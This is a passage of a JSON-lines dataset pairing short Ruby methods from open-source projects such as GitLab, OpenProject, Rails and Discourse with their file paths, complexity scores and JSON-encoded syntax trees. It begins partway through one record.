e\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"address\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hardware-address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hardware-address\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NEXPOSE_HOST_DETAIL_FIELDS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^nx_\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"fk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"fs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_attrs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"fk\"]}]}]},null]}]}]}]},null]}]}]}","id":"89e48311-2a51-4b16-a423-63e7499b9973"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/utilities/endpoints/bodied.rb","start_line":57,"raw_source":"def initialize(model:,\n                       api_name: nil,\n                       instance_generator: nil,\n                       params_modifier: nil,\n                       params_source: nil,\n                       process_state: nil,\n                       before_hook: nil,\n                       parse_representer: nil,\n                       render_representer: nil,\n                       process_service: nil,\n                       process_contract: nil,\n                       parse_service: nil)\n          self.model = model\n          self.api_name = api_name || model.name.demodulize\n          self.instance_generator = instance_generator || default_instance_generator(model)\n          self.params_modifier = params_modifier || default_params_modifier\n          self.params_source = params_source || default_params_source\n          self.process_state = process_state || default_process_state\n          self.parse_representer = parse_representer || deduce_parse_representer\n          self.render_representer = render_representer || deduce_render_representer\n          self.process_contract = process_contract || deduce_process_contract\n          self.process_service = process_service || deduce_process_service\n          self.parse_service = parse_service || deduce_parse_service\n          self.before_hook = before_hook\n        end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"model\"]},{\"type\":\"kwoptarg\",\"children\":[\"api_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"instance_generator\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params_modifier\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params_source\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"process_state\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"before_hook\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parse_representer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"render_representer\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"process_service\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"process_contract\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"parse_service\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"model=\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"api_name=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"demodulize\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instance_generator=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance_generator\"]},{\"type\":\"send\",\"children\":[null,\"default_instance_generator\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params_modifier=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params_modifier\"]},{\"type\":\"send\",\"children\":[null,\"default_params_modifier\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"params_source=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params_source\"]},{\"type\":\"send\",\"children\":[null,\"default_params_source\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_state=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_state\"]},{\"type\":\"send\",\"children\":[null,\"default_process_state\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_representer=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_representer\"]},{\"type\":\"send\",\"children\":[null,\"deduce_parse_representer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"render_representer=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"render_representer\"]},{\"type\":\"send\",\"children\":[null,\"deduce_render_representer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_contract=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_contract\"]},{\"type\":\"send\",\"children\":[null,\"deduce_process_contract\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_service=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process_service\"]},{\"type\":\"send\",\"children\":[null,\"deduce_process_service\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_service=\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parse_service\"]},{\"type\":\"send\",\"children\":[null,\"deduce_parse_service\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"before_hook=\",{\"type\":\"lvar\",\"children\":[\"before_hook\"]}]}]}]}","id":"c0dd7987-0744-4d32-aeba-19eac4ae6e4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/declared_license.rb","start_line":31,"raw_source":"def ==(other)\n        return unless other.is_a?(self.class)\n\n        key == other.key\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"key\"]}]}]}]}","id":"36de816d-6d0d-46d7-b734-ef5975357abc"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20201117212328_set_category_slug_to_lower.rb","start_line":77,"raw_source":"def down\n    remove_index(:categories, name: \"unique_index_categories_on_slug\")\n\n    add_index(\n      :categories,\n      \"COALESCE(parent_category_id, -1), slug\",\n      name: \"unique_index_categories_on_slug\",\n      where: \"slug != ''\",\n      unique: true,\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_index_categories_on_slug\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"categories\"]},{\"type\":\"str\",\"children\":[\"COALESCE(parent_category_id, -1), slug\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unique_index_categories_on_slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"str\",\"children\":[\"slug != ''\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"34c179b3-20f5-4d48-a84e-9baa6c63862a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":950,"raw_source":"def test_month_field_tag\n    expected = %{<input id=\"birthday\" name=\"birthday\" type=\"month\" />}\n    assert_dom_equal(expected, month_field_tag(\"birthday\"))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_month_field_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"birthday\\\" name=\\\"birthday\\\" type=\\\"month\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"month_field_tag\",{\"type\":\"str\",\"children\":[\"birthday\"]}]}]}]}]}","id":"703605f4-faaf-4b38-b2be-f15deb81269e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/job/show.rb","start_line":96,"raw_source":"def job_log\n            find_element('job-log-content').text\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"job_log\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\"job-log-content\"]}]},\"text\"]}]}","id":"0cffbbc9-a1b8-4fb0-bf6a-7feb339f9b7f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/test/retry_test.rb","start_line":92,"raw_source":"def jobstr(options = {})\n      Sidekiq.dump_json({\"class\" => \"Bob\", \"args\" => [1, 2, \"foo\"], \"retry\" => true}.merge(options))\n    end","complexity_score":3.9,"ast_json":"{\"type\":\"def\",\"children\":[\"jobstr\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"Bob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"retry\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"8294fbca-ad6a-40a1-a462-74c64bd5ab8f"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/model/info.rb","start_line":11,"raw_source":"def self.default(model_id, provider)\n        new(\n          id: model_id,\n          name: model_id.tr('-', ' ').capitalize,\n          provider: provider,\n          capabilities: %w[function_calling streaming vision structured_output],\n          modalities: { input: %w[text image], output: %w[text] },\n          metadata: { warning: 'Assuming model exists, capabilities may not be accurate' }\n        )\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]},{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"tr\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\" \"]}]},\"capitalize\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"capabilities\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"function_calling\"]},{\"type\":\"str\",\"children\":[\"streaming\"]},{\"type\":\"str\",\"children\":[\"vision\"]},{\"type\":\"str\",\"children\":[\"structured_output\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modalities\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"image\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"text\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"str\",\"children\":[\"Assuming model exists, capabilities may not be accurate\"]}]}]}]}]}]}]}","id":"3752a55c-0177-4105-897d-fc58e52aa4f8"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/context_test.rb","start_line":364,"raw_source":"def test_nested_context_from_within_drop\n    @context.merge(\"test\" => '123', \"vars\" => { \"local\" => ContextSensitiveDrop.new })\n    assert_equal('123', @context['vars.local.test'])\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nested_context_from_within_drop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"123\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"local\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContextSensitiveDrop\"]},\"new\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@context\"]},\"[]\",{\"type\":\"str\",\"children\":[\"vars.local.test\"]}]}]}]}]}","id":"8e2e2f2d-b381-492d-af9e-9858af6e8002"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":465,"raw_source":"def should_use_flipped_dashboard_mapping_for_rollout?\n    return false unless Feature.enabled?(:personal_homepage, self)\n\n    # Don't flip for SM admins who have no authorized projects as they go through different onboarding flow.\n    return false if self_managed_admin? && !authorized_projects.exists?\n\n    true\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"should_use_flipped_dashboard_mapping_for_rollout?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"personal_homepage\"]},{\"type\":\"self\",\"children\":[]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_managed_admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized_projects\"]},\"exists?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"dd2cf520-29ff-4ae1-8be0-c2769c0e6a38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250807005100_sync_bigint_indexes_creation_on_merge_request_diffs.rb","start_line":67,"raw_source":"def conversion_columns_exist?\n    BIGINT_COLUMNS.all? { |column| column_exists?(TABLE_NAME, column) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"conversion_columns_exist?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BIGINT_COLUMNS\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[null,\"column_exists?\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}","id":"0a43cf85-3116-41ef-8623-41e9cafd8f62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":1544,"raw_source":"def authorizations_for_projects(min_access_level: nil, related_project_column: 'projects.id')\n    authorizations = project_authorizations\n                      .select(1)\n                      .where(\"project_authorizations.project_id = #{related_project_column}\")\n\n    return authorizations unless min_access_level.present?\n\n    authorizations.where('project_authorizations.access_level >= ?', min_access_level)\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"authorizations_for_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"min_access_level\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"related_project_column\",{\"type\":\"str\",\"children\":[\"projects.id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorizations\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_authorizations\"]},\"select\",{\"type\":\"int\",\"children\":[1]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"project_authorizations.project_id = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"related_project_column\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"min_access_level\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorizations\"]},\"where\",{\"type\":\"str\",\"children\":[\"project_authorizations.access_level >= ?\"]},{\"type\":\"lvar\",\"children\":[\"min_access_level\"]}]}]}]}","id":"74c68e90-5106-4289-aacd-ad697a2b1fb9"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/supervisor.rb","start_line":1191,"raw_source":"def build_system_config(conf)\n      system_config = SystemConfig.create(conf, @cl_opt[:strict_config_value])\n      # Prefer the options explicitly specified in the command line\n      #\n      # TODO: There is a bug that `system_config.log.rotate_age/rotate_size` are\n      # not merged with the command line options since they are not in\n      # `SYSTEM_CONFIG_PARAMETERS`.\n      # We have to fix this bug.\n      opt = {}\n      Fluent::SystemConfig::SYSTEM_CONFIG_PARAMETERS.each do |param|\n        if @cl_opt.key?(param) && !@cl_opt[param].nil?\n          opt[param] = @cl_opt[param]\n        end\n      end\n      system_config.overwrite_variables(**opt)\n      system_config\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_system_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"system_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemConfig\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"conf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cl_opt\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"strict_config_value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"SystemConfig\"]},\"SYSTEM_CONFIG_PARAMETERS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cl_opt\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cl_opt\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"param\"]}]},\"nil?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cl_opt\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"param\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_config\"]},\"overwrite_variables\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"system_config\"]}]}]}","id":"a1b7bf81-0784-47e8-b465-e4950ef04f50"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_logging/concurrency_limit_logger.rb","start_line":17,"raw_source":"def resumed_log(worker_name, args)\n        job = {\n          'class' => worker_name,\n          'args' => args\n        }\n        payload = parse_job(job)\n        payload['job_status'] = 'resumed'\n        payload['message'] = \"#{base_message(payload)}: concurrency_limit: resumed\"\n\n        Sidekiq.logger.info payload\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resumed_log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"worker_name\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"job\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"worker_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"parse_job\",{\"type\":\"lvar\",\"children\":[\"job\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"job_status\"]},{\"type\":\"str\",\"children\":[\"resumed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_message\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]},{\"type\":\"str\",\"children\":[\": concurrency_limit: resumed\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"logger\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"f6cf1fd5-85f3-473e-9782-9f55c319cbe9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/settings_helper.rb","start_line":250,"raw_source":"def with_empty_unless_writable(setting)\n    if writable_setting?(setting)\n      yield\n    else\n      \"\".html_safe\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_empty_unless_writable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable_setting?\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"yield\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"html_safe\"]}]}]}","id":"d68a0c15-727d-4fd2-b4dd-9504e0d85095"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/join_dependency/join_association.rb","start_line":79,"raw_source":"def readonly?\n          return @readonly if defined?(@readonly)\n\n          @readonly = reflection.scope && reflection.scope_for(base_klass.unscoped).readonly_value\n        end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"readonly?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@readonly\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@readonly\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@readonly\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"scope_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_klass\"]},\"unscoped\"]}]},\"readonly_value\"]}]}]}]}]}","id":"068d478d-9251-4c90-9355-8510c82e7d55"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/email.rb","start_line":33,"raw_source":"def bg_color\n    case status\n    when \"draft\"\n      # soft yellow hex\n      \"#fff9c0\"\n    when \"active\"\n      # soft green hex\n      \"#d4f7dc\"\n    when \"delivered\"\n      # soft blue hex\n      \"#d4e7f7\"\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bg_color\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"draft\"]},{\"type\":\"str\",\"children\":[\"#fff9c0\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"active\"]},{\"type\":\"str\",\"children\":[\"#d4f7dc\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"delivered\"]},{\"type\":\"str\",\"children\":[\"#d4e7f7\"]}]},null]}]}","id":"eef55f86-0be2-4a0a-99d6-a3116ebb9f80"}
